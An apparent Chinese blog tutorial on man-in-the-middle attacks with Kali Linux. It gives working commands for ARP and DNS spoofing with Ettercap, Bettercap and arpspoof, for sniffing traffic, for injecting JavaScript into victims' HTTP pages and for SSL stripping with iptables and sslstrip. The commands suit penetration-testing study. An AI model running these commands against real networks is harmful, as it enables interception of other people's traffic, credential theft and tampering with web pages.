【kali渗透测试】中间人攻击

1. 中间人攻击概述

定义:攻击者插入通信的双方之间,截取、修改或者伪造它们的通信内容。

种类:

(1)ARP 欺骗

利用 ARP 协议的缺陷,使得攻击者可以伪造 MAC 地址,欺骗网络中的其他主机。

(2)DNS 欺骗

利用 DNS 的缺陷,使得攻击者可以伪造 IP 地址,欺骗网络中的其他主机。

2. Ettercap 框架

综合性中间人攻击工具。

(1)开启

kali 终端输入如下命令

bash 复制代码
ettercap -G

(2)选项介绍

  • 启动嗅探
  • 设置主接口:对该接口内的主机进行中间人攻击
  • 开启桥接接口嗅探
  • 设置桥接接口

2.1 执行 arp 欺骗

(1)kali 开启内核转发功能

bash 复制代码
echo 1 > /proc/sys/net/ipv4/ip_forward

(2)嗅探主机

获取目标网络中的主机列表和网关信息

(3)选择目标主机

(4)开始 ARP 欺骗

(5)捕获数据包

Ettercap 只能开启 arp 欺骗,不能查看捕获的数据包。

  • tcpdump 捕获
bash 复制代码
tcpdump -i eth0 host ARP欺骗目标IP地址
  • driftnet 抓取图片
bash 复制代码
apt-get install driftnet
driftnet -i eth0
driftnet -i eth0 -a -d 文件目录

只能抓取未经过加密的数据包中的图片

  • urlsnarf 捕获URL地址
bash 复制代码
urlsnarf -i eth0

2.2 执行 dns 欺骗

执行 dns 欺骗前,需要先进行 arp 欺骗,成为中间人

(1)编辑 /etc/ettercap/etter.dns 文件,添加要欺骗的 dns 记录

bash 复制代码
......
# vim:ts=8:noexpandtab
* A 192.168.18.22

(2)开启 apache 服务器

bash 复制代码
service apache2 start

使得目标主机访问网页的请求通过 dns 记录解析为本机的网站

(3)使用 dns_spoof 插件

2.3 内容过滤

对数据包进行修改或者丢弃,例如:替换网页内容、注入 JavaScript 代码、修改图片、拦截邮件等。

(1)新建脚本文件

以过滤 80 号端口请求为例,新建 killwifi.filter

bash 复制代码
if (ip.proto == TCP && tcp.src == 80 )  //设置过滤请求
{
    kill();
    drop();  //删除该数据包
msg("kill 80 \n");  //提示消息
}

(2)编译脚本

bash 复制代码
etterfilter killwifi.filter -o killwifi.ef

(3)加载脚本

3. Bettercap 框架

对Wi-Fi网络、蓝牙设备、无线HID以及IPv4/IPv6网络进行侦查和中间人攻击

bash 复制代码
apt-get install bettercap
bettercap # 启动交互模式

3.1 执行 arp 欺骗

假设攻击者主机的IP地址是192.168.18.17,目标主机的IP地址是192.168.18.13,网关的IP地址是192.168.18.1

(1)使用 arp.spoof 模块

bash 复制代码
set arp.spoof.targets 192.168.18.13
set arp.spoof.fullduplex true # 设置双向 arp 欺骗,同时欺骗目标主机和网关
arp.spoof on # 启动 arp 欺骗
net.sniff on # 启动流量嗅探
arp.spoof off

3.2 执行 dns 欺骗

假设攻击者主机的IP地址是192.168.8.138,目标主机的IP地址是192.168.8.142,网关的IP地址是192.168.8.1

(1)启动 arp 欺骗

bash 复制代码
set arp.spoof.targets 192.168.8.142
arp.spoof on

(2)启动 dns 欺骗

bash 复制代码
set dns.spoof.domains dns欺骗的域名
set dns.spoof.address 192.168.8.138 # 设置 dns 欺骗的 ip 地址
dns.spoof on
net.sniff on

3.3 注入脚本

使用 Bettercap的http.proxy 模块,可以建立一个 Javascript 文件实现的 http 透明代理。

进行 arp 欺骗后,可以通过这个代理向目标主机浏览的 http 页面注入 Javascript 脚本。

bash 复制代码
setarp.spoof.targets 192.168.8.142
set http.proxy.script/root/xss.js
arp.spoof on
http.proxy on

目标主机访问任何网页,触发 xss.js 脚本。

3.4 CAP 文件

Bettercap 脚本文件

bash 复制代码
bettercap -caplet example.cap
caplets.update
caplets.show

4. arpspoof 发起中间人攻击

进行 arp 欺骗的工具,通过伪造 arp 应答包,使得目标主机或所有主机误认为攻击者的主机是网关。

轻量级、易于使用。

(1)开启 ip 转发功能

bash 复制代码
echo 1 > /proc/sys/net/ipv4/ip_forward

(2)开启 arp 欺骗

bash 复制代码
arpspoof -i eth1 -t 目标主机ip地址 网关ip地址

(3)捕获数据包

bash 复制代码
tcpdump -i eth1 tcp port 80 and host 目标主机ip地址

5. SSL 攻击

ssl 是一种安全传输协议,TLS 是 SSL 的后续版本。使用了对称加密、非对称加密、数字签名等技术。

5.1 SSL 漏洞检测

  • testssl 工具
    检测任何端口上的 tls/ssl 加密服务。
bash 复制代码
wget https://testssl.sh/testssl.sh
chmod +x testssl.sh
/testssl.sh 域名或IP地址
/testssl.sh --heartbleed 域名或IP地址 # 检测特定的漏洞
  • SSLScan 工具
    依赖 OpenSSL 库,功能有局限性。
bash 复制代码
sslscan 域名或IP地址

5.2 SSL 中间人攻击

原理:在客户端于服务器之间插入一个代理,伪造服务器的证书给客户端,形成基于HTTPS的代理

(1)开启 ip 转发功能

bash 复制代码
echo 1 > /proc/sys/net/ipv4/ip_forward

(2)将 HTTP 流量重定向到 SSLStrip 工具

bash 复制代码
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 5353

(3)监听降级客户端与服务器间的 ssl 通信

bash 复制代码
sslstrip -l 5353

(4)执行 arp 欺骗

bash 复制代码
ettercap -i eth1 -TqM arp:remote //192.168.8.1/ //192.168.8.143/

此时,目标主机访问 https 网页时重定向为 http

相关推荐
小李独爱秋3 小时前
计算机网络经典问题透视:RTS/CTS是强制使用还是选择使用?
网络协议·计算机网络·网络安全·信息与通信·信号处理
瘾大侠3 小时前
HTB赛季10 - Facts
网络·安全·web安全·网络安全
one____dream3 小时前
Reverse-elrond32
安全·网络安全·ctf
小李独爱秋3 小时前
计算机网络经典问题透视:无线局域网MAC协议中的SIFS和DIFS究竟是什么?
网络协议·计算机网络·macos·网络安全·信息与通信·信号处理
code_li16 小时前
“信息安全”与“网络安全”区别
安全·网络安全·信息安全
南棋网络安全17 小时前
windows系统搭建靶场
网络安全
枷锁—sha18 小时前
【SRC】越权漏洞检测
运维·服务器·网络·安全·网络安全·系统安全
188号安全攻城狮19 小时前
【PWN】HappyNewYearCTF_8_ret2csu
linux·汇编·安全·网络安全·系统安全
啥都想学点19 小时前
kali 基础介绍(Command and Control、Exfiltration)
安全·网络安全